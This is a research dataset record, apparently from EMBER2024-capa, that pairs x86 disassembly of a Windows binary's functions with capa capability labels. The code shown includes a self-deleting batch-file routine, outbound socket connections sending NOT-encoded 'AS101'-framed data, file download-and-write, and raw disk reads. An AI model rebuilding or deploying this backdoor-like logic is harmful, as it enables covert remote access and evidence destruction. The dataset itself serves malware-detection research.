joyce8/EMBER2024-capa huggingface dataset:
Function at 0x403077
Capabilities:
Create process on windows
Get common file path
Write and execute a file
Write file on windows

Disassembly:
push ebp
lea ebp, [esp - 0x298]
sub esp, 0x318
mov eax, dword [0x420044]
xor eax, ebp
mov dword [ebp + 0x294], eax
push ebx
push esi
lea eax, [ebp + 0x190]
push eax
mov esi, 0x104
xor ebx, ebx
push esi
mov dword [ebp - 0x80], ebx
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push str._uinsey.bat
lea eax, [ebp + 0x190]
push esi
push eax
call fcn.0040a21b
add esp, 0xc
push esi
lea eax, [ebp + 0x8c]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp + 0x8c]
push eax
lea eax, [ebp - 0x78]
push esi
push eax
call fcn.00409f96
lea eax, [ebp - 0x78]
push 0x5c
push eax
call fcn.0040a1d0
add esp, 0x14
cmp eax, ebx
je 0x4030f5
mov byte [eax], bl
push ebx
push 0x80
push 2
push ebx
push ebx
push 0x40000000
lea eax, [ebp + 0x190]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x7c], eax
cmp eax, 0xffffffff
je 0x4031d9
mov eax, str.:Repeat_r_ndel___s__r_nif_exist___s__goto_Repeat_r_nrmdir___s__r_ndel___s_
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x403125
sub eax, edx
lea ecx, [ebp + 0x8c]
push edi
mov esi, eax
lea edi, [ecx + 1]
mov al, byte [ecx]
inc ecx
cmp al, bl
jne 0x40313a
lea eax, [ebp + 0x190]
sub ecx, edi
lea edi, [eax + 1]
mov dl, byte [eax]
inc eax
cmp dl, bl
jne 0x40314c
imul ecx, ecx, 3
sub eax, edi
add ecx, eax
lea esi, [ecx + esi + 0x32]
push esi
call fcn.00409b81
push esi
mov edi, eax
push ebx
push edi
call fcn.0040db70
lea eax, [ebp + 0x190]
push eax
lea eax, [ebp - 0x78]
push eax
lea eax, [ebp + 0x8c]
push eax
push eax
push str.:Repeat_r_ndel___s__r_nif_exist___s__goto_Repeat_r_nrmdir___s__r_ndel___s_
push esi
push edi
call fcn.0040a1fd
mov eax, edi
add esp, 0x2c
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x403195
push ebx
lea ecx, [ebp - 0x80]
push ecx
sub eax, esi
push eax
push edi
push dword [ebp - 0x7c]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push dword [ebp - 0x7c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
push ebx
push ebx
lea eax, [ebp + 0x190]
push eax
push str.open
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
cmp edi, ebx
je 0x4031d8
push edi
call fcn.00408dfe
pop ecx
pop edi
mov ecx, dword [ebp + 0x294]
pop esi
xor ecx, ebp
pop ebx
call fcn.00408c42
add ebp, 0x298
leave
ret

Function at 0x4031f0
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push edi
xor ecx, ecx
xor eax, eax
cmp dword [ebp + 8], 0xffffffff
mov dword [ebp - 0x18], ecx
lea edi, [ebp - 0x14]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov dword [ebp - 4], ecx
je 0x403239
mov eax, dword [ebp + 0xc]
mov ecx, 0x200
mul ecx
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 4]
push eax
push 0x400
push dword [ebp + 0x10]
mov dword [ebp - 0xc], edx
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov ecx, eax
mov eax, ecx
pop edi
leave
ret
Function at 0x4033bd
Capabilities:
Get disk information via ioctl

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
push esi
push edi
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
xor edi, edi
xor esi, esi
cmp dword [ebp + 8], 0xffffffff
mov dword [ebp - 8], edi
mov dword [ebp - 0x18], edi
mov dword [ebp - 0x14], edi
je 0x403466
mov ebx, 0xc00
push ebx
call fcn.00409b81
pop ecx
mov dword [ebp - 4], eax
xor eax, eax
push eax
lea ecx, [ebp - 0xc]
push ecx
push ebx
push dword [ebp - 4]
push eax
push eax
push 0x70050
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
je 0x403457
mov eax, dword [ebp - 4]
push 4
add eax, 0x38
pop ebx
mov edx, dword [eax + 4]
cmp edx, dword [ebp - 0x14]
mov ecx, dword [eax]
jl 0x403439
jg 0x40342d
cmp ecx, dword [ebp - 0x18]
jbe 0x403439
mov esi, dword [eax + 8]
mov edi, dword [eax + 0xc]
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x14], edx
add eax, 0x90
dec ebx
jne 0x40341c
add esi, dword [ebp - 0x18]
push ebx
adc edi, dword [ebp - 0x14]
push 0x200
push edi
push esi
call fcn.00415a60
mov dword [ebp - 8], eax
cmp dword [ebp - 4], 0
je 0x403466
push dword [ebp - 4]
call fcn.00408dfe
pop ecx
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 8]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x403554
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
mov eax, dword [0x420044]
xor eax, ebp
mov dword [ebp - 4], eax
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x210], ax
lea eax, [ebp - 0x20e]
push eax
call fcn.0040db70
and dword [ebp - 0x214], 0
add esp, 0xc
push 0x104
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
lea eax, [ebp - 0x214]
push eax
movzx eax, word [ebp - 0x210]
sub eax, 0x41
push eax
call fcn.004032d0
push dword [ebp - 0x214]
call fcn.0040323e
add esp, 0xc
cmp eax, 0xffffffff
jne 0x4035cc
xor eax, eax
jmp 0x4035d3
push esi
call fcn.0040348e
pop ecx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00408c42
leave
ret

Function at 0x4044a4
Capabilities:
Hash data using sha1

Disassembly:
and dword [eax + 4], 0
and dword [eax], 0
mov dword [eax + 8], 0x67452301
mov dword [eax + 0xc], 0xefcdab89
mov dword [eax + 0x10], 0x98badcfe
mov dword [eax + 0x14], 0x10325476
mov dword [eax + 0x18], 0xc3d2e1f0
ret
Function at 0x404638
Capabilities:
Read file on windows

Disassembly:
push ebp
lea ebp, [esp - 0xff0]
mov eax, 0x1070
call fcn.00413c50
mov eax, dword [0x420044]
xor eax, ebp
mov dword [ebp + 0xfec], eax
mov eax, dword [ebp + 0xff8]
push esi
push edi
push 0x41bdc8
push eax
lea eax, [ebp - 0x18]
mov esi, ecx
xor edi, edi
push eax
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x18], edi
mov dword [ebp - 0x1c], edi
call fcn.00409076
add esp, 0xc
cmp dword [ebp - 0x18], edi
jne 0x404693
mov edi, esi
xor eax, eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
xor eax, eax
jmp 0x404726
push ebx
push 2
push edi
push dword [ebp - 0x18]
call fcn.00409153
push dword [ebp - 0x18]
call fcn.00409375
push edi
push edi
push dword [ebp - 0x18]
mov dword [ebp - 0x24], eax
call fcn.00409153
lea eax, [ebp - 0x80]
call fcn.004044a4
push dword [ebp - 0x18]
mov esi, 0x1000
push esi
lea eax, [ebp - 0x14]
push 1
push eax
call fcn.00409683
mov ebx, eax
add esp, 0x2c
cmp ebx, edi
jbe 0x404700
push ebx
lea edi, [ebp - 0x80]
lea ecx, [ebp - 0x14]
call fcn.004044cf
push dword [ebp - 0x18]
add dword [ebp - 0x1c], ebx
push esi
lea eax, [ebp - 0x14]
push 1
push eax
call fcn.00409683
mov ebx, eax
add esp, 0x14
test ebx, ebx
ja 0x4046d9
mov edi, dword [ebp - 0x20]
push edi
lea esi, [ebp - 0x80]
call fcn.00404568
push dword [ebp - 0x18]
call fcn.00409717
mov eax, dword [ebp - 0x1c]
pop ecx
pop ecx
pop ebx
cmp eax, dword [ebp - 0x24]
jb 0x404685
xor eax, eax
inc eax
mov ecx, dword [ebp + 0xfec]
pop edi
xor ecx, ebp
pop esi
call fcn.00408c42
add ebp, 0xff0
leave
ret
Function at 0x40473d
Capabilities:
Connect socket
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x9b8
mov eax, dword [0x420044]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push esi
push edi
mov dword [ebp - 0x9b0], eax
xor eax, eax
push 0x7fe
push eax
mov word [ebp - 0x808], ax
lea eax, [ebp - 0x806]
push eax
mov esi, ecx
call fcn.0040db70
add esp, 0xc
lea edi, [ebp - 0x808]
test esi, esi
je 0x404787
mov edi, esi
xor eax, eax
and dword [ebp - 0x9b4], eax
and dword [ebp - 0x9ac], eax
mov word [edi], ax
lea eax, [ebp - 0x9a8]
push eax
push 0x101
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x4047e1
push 0x41be70
mov esi, 0x3ff
push esi
push edi
call fcn.00408cfa
push 0x41be90
push esi
push edi
call fcn.00408c51
push 0x41be94
push esi
push edi
call fcn.00408c51
add esp, 0x24
xor eax, eax
jmp 0x40486f
push 6
xor esi, esi
inc esi
push esi
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [ebx], eax
cmp eax, 0xffffffff
je 0x4047ae
push dword [ebp - 0x9b0]
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
jne 0x40487d
push dword [ebp - 0x9b0]
call dword [sym.imp.WS2_32.dll_inet_addr]
push 2
mov dword [ebp - 0x9b4], eax
push 4
lea eax, [ebp - 0x9b4]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyaddr]
test eax, eax
jne 0x40487d
push 0x41be70
mov esi, 0x3ff
push esi
push edi
call fcn.00408cfa
push 0x41be90
push esi
push edi
call fcn.00408c51
push 0x41be94
push esi
push edi
call fcn.00408c51
mov eax, dword [ebx]
add esp, 0x24
test eax, eax
je 0x404869
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
and dword [ebx], 0
mov eax, dword [ebp - 0x9ac]
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.00408c42
leave
ret
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
push 2
mov dword [ebp - 0x814], eax
pop eax
push dword [ebp + 0xc]
mov word [ebp - 0x818], ax
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x816], ax
push 0x10
lea eax, [ebp - 0x818]
push eax
push dword [ebx]
call dword [sym.imp.WS2_32.dll_connect]
test eax, eax
je 0x4048c3
push 0x41bed4
jmp 0x404832
mov dword [ebp - 0x9ac], esi
jmp 0x404869
Function at 0x4048e6
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword [ebp + 8]
xor ecx, ecx
push ebx
mov dword [ebp - 8], ecx
cmp dword [eax], ecx
je 0x404963
push esi
mov esi, dword [ebp + 0x10]
cmp esi, ecx
push edi
jle 0x40490d
mov eax, dword [ebp + 0xc]
add eax, ecx
not byte [eax]
inc ecx
cmp ecx, esi
jl 0x404901
lea eax, [esi + 7]
push eax
mov dword [ebp - 4], eax
call fcn.00409b81
push dword [ebp + 0x10]
mov ebx, eax
push dword [ebp + 0xc]
add esi, 5
mov word [ebx], si
lea edi, [ebx + 2]
mov esi, str.AS101
movsd dword es:[edi], dword [esi]
lea eax, [ebx + 7]
push eax
movsb byte es:[edi], byte [esi]
call fcn.0040e700
mov eax, dword [ebp + 8]
add esp, 0x10
push 0
push dword [ebp - 4]
push ebx
push dword [eax]
call dword [sym.imp.WS2_32.dll_send]
pop edi
pop esi
cmp eax, 0xffffffff
je 0x404966
cmp eax, dword [ebp - 4]
jne 0x404966
mov dword [ebp - 8], 1
jmp 0x404966
mov ebx, dword [ebp + 8]
test ebx, ebx
je 0x404971
push ebx
call fcn.00408dfe
pop ecx
mov eax, dword [ebp - 8]
pop ebx
leave
ret
Function at 0x404aa3
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
lea ebp, [esp - 0x70]
sub esp, 0x8e4
mov eax, dword [0x420044]
xor eax, ebp
mov dword [ebp + 0x6c], eax
mov eax, dword [ebp + 0x78]
push ebx
push esi
mov dword [ebp - 0x868], eax
mov eax, dword [ebp + 0x7c]
push edi
mov dword [ebp - 0x874], eax
xor eax, eax
push 0x7fe
push eax
mov word [ebp - 0x85c], ax
lea eax, [ebp - 0x85a]
mov esi, ecx
push eax
mov dword [ebp - 0x870], esi
mov ebx, edx
call fcn.0040db70
xor eax, eax
add esp, 0xc
lea edi, [ebp - 0x85c]
mov dword [ebp - 0x864], edi
cmp ebx, eax
je 0x404b0f
mov dword [ebp - 0x864], ebx
mov edi, ebx
xor ecx, ecx
mov word [edi], cx
mov esi, dword [esi]
mov dword [ebp - 0x860], eax
mov dword [ebp - 0x86c], eax
cmp esi, eax
je 0x404c75
cmp dword [ebp - 0x868], eax
je 0x404c75
push 0xc7
push eax
mov byte [ebp - 0x5c], al
lea eax, [ebp - 0x5b]
push eax
call fcn.0040db70
add esp, 0xc
xor ebx, ebx
push ebx
push 2
lea eax, [ebp - 0x5c]
push eax
push esi
mov esi, dword [sym.imp.WS2_32.dll_recv]
call esi
cmp eax, 0xffffffff
je 0x404c4d
cmp eax, ebx
je 0x404c4d
movzx edi, word [ebp - 0x5c]
lea eax, [edi + 2]
push eax
call fcn.00409b81
pop ecx
mov dword [ebp - 0x860], eax
test edi, edi
jle 0x404c60
push 0
mov eax, edi
sub eax, ebx
push eax
mov eax, dword [ebp - 0x860]
add eax, ebx
push eax
mov eax, dword [ebp - 0x870]
push dword [eax]
call esi
cmp eax, 0xffffffff
je 0x404be5
test eax, eax
je 0x404be5
add ebx, eax
cmp edi, ebx
jg 0x404b8a
push 5
pop ecx
cmp ebx, ecx
jl 0x404c60
mov edx, dword [ebp - 0x860]
sub ebx, ecx
mov edi, edx
mov esi, str.AS101
xor eax, eax
repe cmpsb byte [esi], byte es:[edi]
je 0x404c05
push 0x41bef8
push 0x3ff
push dword [ebp - 0x864]
jmp 0x404c58
push 0x41bef8
push 0x3ff
push dword [ebp - 0x864]
call fcn.00408cfa
add esp, 0xc
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
jmp 0x404c60
test ebx, ebx
jle 0x404c14
lea eax, [edx + 5]
mov ecx, ebx
not byte [eax]
inc eax
dec ecx
jne 0x404c0e
mov esi, dword [ebp - 0x874]
mov eax, dword [esi]
add edx, 5
cmp eax, ebx
jl 0x404c34
push ebx
push edx
push dword [ebp - 0x868]
call fcn.0040e700
mov dword [esi], ebx
jmp 0x404c41
push eax
push edx
push dword [ebp - 0x868]
call fcn.0040e700
mov dword [ebp - 0x86c], 1
jmp 0x404c5d
push 0x41bef8
push 0x3ff
push edi
call fcn.00408cfa
add esp, 0xc
cmp dword [ebp - 0x860], 0
je 0x404c75
push dword [ebp - 0x860]
call fcn.00408dfe
pop ecx
mov ecx, dword [ebp + 0x6c]
mov eax, dword [ebp - 0x86c]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00408c42
add ebp, 0x70
leave
ret
Function at 0x404e20
Capabilities:
Download and write a file
Receive and write data from server to client
Receive data
Receive data on socket
Write file on windows

Disassembly:
push ebp
lea ebp, [esp - 0xf90]
mov eax, 0x1010
call fcn.00413c50
mov eax, dword [0x420044]
xor eax, ebp
mov dword [ebp + 0xf8c], eax
mov eax, dword [ebp + 0xf98]
push ebx
push esi
mov esi, dword [sym.imp.WS2_32.dll_recv]
xor ebx, ebx
push ebx
mov dword [ebp - 0x7c], eax
push 4
lea eax, [ebp - 0x78]
push eax
push dword [edi]
call esi
cmp eax, 4
je 0x404e66
xor eax, eax
jmp 0x404eb4
cmp dword [ebp - 0x78], ebx
jbe 0x404ea3
push 0
push 0x1000
lea eax, [ebp - 0x74]
push eax
push dword [edi]
call esi
mov dword [ebp - 0x80], eax
test eax, eax
je 0x404ea3
mov ecx, dword [ebp - 0x7c]
push dword [ecx]
push eax
lea eax, [ebp - 0x74]
push 1
push eax
call fcn.004098f5
add ebx, dword [ebp - 0x80]
add esp, 0x10
mov dword [0x422710], ebx
cmp ebx, dword [ebp - 0x78]
jb 0x404e6b
mov eax, dword [ebp - 0x7c]
push dword [eax]
call fcn.00409717
cmp ebx, dword [ebp - 0x78]
pop ecx
sbb eax, eax
inc eax
mov ecx, dword [ebp + 0xf8c]
pop esi
xor ecx, ebp
pop ebx
call fcn.00408c42
add ebp, 0xf90
leave
ret

Function at 0x405343
Capabilities:
Get common file path
Write file on windows

Disassembly:
push ebp
lea ebp, [esp - 0x194]
sub esp, 0x214
mov eax, dword [0x420044]
xor eax, ebp
mov dword [ebp + 0x190], eax
push esi
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x78], ax
lea eax, [ebp - 0x76]
push eax
xor esi, esi
call fcn.0040db70
add esp, 0xc
test edi, edi
je 0x405409
and dword [ebp - 0x7c], esi
mov ecx, 0x41bdd8
mov eax, ecx
lea esi, [eax + 2]
mov dx, word [eax]
inc eax
inc eax
test dx, dx
jne 0x40538e
sub eax, esi
sar eax, 1
je 0x4053b2
push 0x41bdd0
push ecx
lea eax, [ebp - 0x7c]
push eax
call fcn.00409076
add esp, 0xc
jmp 0x4053e6
lea eax, [ebp - 0x78]
push eax
mov esi, 0x104
push esi
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push str.golfinfo.ini
lea eax, [ebp - 0x78]
push esi
push eax
call fcn.00408c51
push 0x41bdd0
lea eax, [ebp - 0x78]
push eax
lea eax, [ebp - 0x7c]
push eax
call fcn.00409076
add esp, 0x18
xor esi, esi
inc esi
cmp dword [ebp - 0x7c], 0
je 0x405409
push dword [ebp - 0x7c]
push esi
push 0x200
push edi
call fcn.004098f5
push dword [ebp - 0x7c]
call fcn.00409717
add esp, 0x14
mov ecx, dword [ebp + 0x190]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.00408c42
add ebp, 0x194
leave
ret
Function at 0x405421
Capabilities:
Get common file path
Read file on windows

Disassembly:
push ebp
lea ebp, [esp - 0x198]
sub esp, 0x218
mov eax, dword [0x420044]
xor eax, ebp
mov dword [ebp + 0x194], eax
push esi
xor eax, eax
xor esi, esi
push 0x206
mov word [ebp - 0x74], ax
lea eax, [ebp - 0x72]
push esi
push eax
mov dword [ebp - 0x7c], esi
call fcn.0040db70
add esp, 0xc
mov dword [ebp - 0x78], esi
cmp ebx, esi
je 0x4054fc
push edi
mov edi, str.golfset.ini
mov eax, edi
lea edx, [eax + 2]
mov cx, word [eax]
inc eax
inc eax
cmp cx, si
jne 0x405470
sub eax, edx
sar eax, 1
je 0x4054fb
cmp dword [0x421070], 3
mov esi, 0x104
lea eax, [ebp - 0x74]
jne 0x4054ad
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 0x41bc60
lea eax, [ebp - 0x74]
push esi
push eax
call fcn.00408c51
add esp, 0xc
jmp 0x4054b5
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push edi
lea eax, [ebp - 0x74]
push esi
push eax
call fcn.00408c51
push 0x41bdc8
lea eax, [ebp - 0x74]
push eax
lea eax, [ebp - 0x78]
push eax
call fcn.00409076
add esp, 0x18
cmp dword [ebp - 0x78], 0
je 0x4054fb
push dword [ebp - 0x78]
xor esi, esi
inc esi
push esi
push 0x200
push ebx
call fcn.00409683
push dword [ebp - 0x78]
call fcn.00409717
add esp, 0x14
mov dword [ebp - 0x7c], esi
pop edi
mov ecx, dword [ebp + 0x194]
mov eax, dword [ebp - 0x7c]
xor ecx, ebp
pop esi
call fcn.00408c42
add ebp, 0x198
leave
ret

Function at 0x405515
Capabilities:
Get common file path
Read file on windows

Disassembly:
push ebp
lea ebp, [esp - 0x198]
sub esp, 0x218
mov eax, dword [0x420044]
xor eax, ebp
mov dword [ebp + 0x194], eax
push esi
xor eax, eax
xor esi, esi
push 0x206
mov word [ebp - 0x74], ax
lea eax, [ebp - 0x72]
push esi
push eax
mov dword [ebp - 0x7c], esi
call fcn.0040db70
add esp, 0xc
mov dword [ebp - 0x78], esi
cmp ebx, esi
je 0x4055c7
push edi
mov edi, str.golfinfo.ini
mov eax, edi
lea edx, [eax + 2]
mov cx, word [eax]
inc eax
inc eax
cmp cx, si
jne 0x405560
sub eax, edx
sar eax, 1
je 0x4055c6
lea eax, [ebp - 0x74]
push eax
mov esi, 0x104
push esi
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push edi
lea eax, [ebp - 0x74]
push esi
push eax
call fcn.00408c51
push 0x41bdc8
lea eax, [ebp - 0x74]
push eax
lea eax, [ebp - 0x78]
push eax
call fcn.00409076
add esp, 0x18
cmp dword [ebp - 0x78], 0
je 0x4055c6
push dword [ebp - 0x78]
xor esi, esi
inc esi
push esi
push 0x200
push ebx
call fcn.00409683
push dword [ebp - 0x78]
call fcn.00409717
add esp, 0x14
mov dword [ebp - 0x7c], esi
pop edi
mov ecx, dword [ebp + 0x194]
mov eax, dword [ebp - 0x7c]
xor ecx, ebp
pop esi
call fcn.00408c42
add ebp, 0x198
leave
ret
Function at 0x4056d7
Capabilities:
Check if file exists
Get file attributes
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push esi
push dword [ebp + 8]
xor esi, esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x4056f7
mov eax, dword [ebp + 8]
call fcn.00405742
test eax, eax
je 0x40573d
push edi
push esi
push esi
push 2
push esi
push 1
push 0x40000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
je 0x40573c
push esi
lea eax, [ebp + 0xc]
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
neg eax
sbb eax, eax
and eax, dword [ebp + 0xc]
cmp eax, dword [ebp + 0x10]
jne 0x405735
xor esi, esi
inc esi
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
mov eax, esi
pop esi
pop ebp
ret

Function at 0x405742
Capabilities:
Check if file exists
Delete file
Get file attributes
Set file attributes

Disassembly:
push esi
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x405755
xor eax, eax
pop esi
ret
test al, 1
je 0x40575c
xor eax, 1
test al, 4
je 0x405763
xor eax, 4
test al, 2
je 0x40576a
xor eax, 2
test al, 0x20
je 0x405771
xor eax, 0x20
push eax
push esi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push esi
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov eax, esi
pop esi
ret

Function at 0x406f89
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push edi
mov edi, edx
test ecx, ecx
jne 0x406f94
xor eax, eax
pop edi
ret
push esi
not eax
mov edx, 0xff
cmp edi, 8
jb 0x407046
mov esi, edi
shr esi, 3
push ebx
movzx ebx, byte [ecx]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x41d970]
inc ecx
movzx ebx, byte [ecx]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x41d970]
inc ecx
movzx ebx, byte [ecx]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x41d970]
inc ecx
movzx ebx, byte [ecx]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x41d970]
inc ecx
movzx ebx, byte [ecx]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x41d970]
inc ecx
movzx ebx, byte [ecx]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x41d970]
inc ecx
movzx ebx, byte [ecx]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x41d970]
inc ecx
movzx ebx, byte [ecx]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x41d970]
inc ecx
sub edi, 8
dec esi
jne 0x406fab
pop ebx
test edi, edi
je 0x40705f
movzx esi, byte [ecx]
xor esi, eax
and esi, edx
shr eax, 8
xor eax, dword [esi*4 + 0x41d970]
inc ecx
dec edi
jne 0x40704a
pop esi
not eax
pop edi
ret
Function at 0x407064
Capabilities:
Generate random numbers using the delphi lcg
Hash data with crc32

Disassembly:
mov eax, dword [ecx]
movsx edx, dl
xor edx, eax
push esi
mov esi, 0xff
and edx, esi
mov edx, dword [edx*4 + 0x41d970]
shr eax, 8
xor edx, eax
mov eax, dword [ecx + 8]
mov dword [ecx], edx
movzx edx, dl
add edx, dword [ecx + 4]
imul edx, edx, 0x8088405
inc edx
mov dword [ecx + 4], edx
shr edx, 0x18
xor edx, eax
and edx, esi
shr eax, 8
xor eax, dword [edx*4 + 0x41d970]
pop esi
mov dword [ecx + 8], eax
ret

Function at 0x4076d9
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push edi
mov edi, dword [ebp + 0xc]
imul edi, dword [ebp + 0x10]
cmp byte [esi], 0
je 0x407709
push 0
lea eax, [ebp + 0x10]
push eax
push edi
push dword [ebp + 8]
push dword [esi + 4]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x407704
mov byte [esi + 8], 1
mov eax, dword [ebp + 0x10]
jmp 0x407731
mov ecx, dword [esi + 0x1c]
mov eax, dword [esi + 0x18]
lea edx, [ecx + edi]
cmp edx, eax
jbe 0x40771a
sub eax, ecx
mov edi, eax
mov eax, dword [esi + 0x14]
push edi
add eax, ecx
push eax
push dword [ebp + 8]
call fcn.0040e700
add esp, 0xc
add dword [esi + 0x1c], edi
mov eax, edi
xor edx, edx
div dword [ebp + 0xc]
pop edi
pop ebp
ret
Function at 0x4083e1
Capabilities:
Get common file path

Disassembly:
push ecx
cmp dword [ebx], 0
push esi
push edi
jne 0x408487
cmp dword [ebx + 4], 0xffffffff
jne 0x408487
lea esi, [ebx + 0x244]
push esi
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
mov eax, esi
lea edx, [eax + 2]
mov cx, word [eax]
inc eax
inc eax
test cx, cx
jne 0x40840e
sub eax, edx
sar eax, 1
movzx eax, word [ebx + eax*2 + 0x242]
cmp ax, 0x5c
je 0x408445
cmp ax, 0x2f
je 0x408445
dec esi
dec esi
mov ax, word [esi + 2]
inc esi
inc esi
test ax, ax
jne 0x408432
mov edi, esi
mov esi, 0x41bc60
movsd dword es:[edi], dword [esi]
push 0x20
call fcn.00409b81
and dword [eax + 0x1c], 0
and dword [eax + 0xc], 0
pop ecx
mov ecx, dword [esp + 0x10]
mov dword [eax + 0x14], ecx
mov ecx, dword [esp + 0x14]
push eax
mov byte [eax], 0
mov byte [eax + 1], 1
mov byte [eax + 0x10], 0
mov dword [eax + 0x18], ecx
call fcn.00407952
mov dword [ebx], eax
neg eax
sbb eax, eax
and eax, 0xfffffe00
pop ecx
add eax, 0x200
jmp 0x40848c
mov eax, 0x1000000
pop edi
pop esi
pop ecx
ret 8

Function at 0x408c42
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x420044]
jne 0x408c4c
repz ret
jmp fcn.0040aab4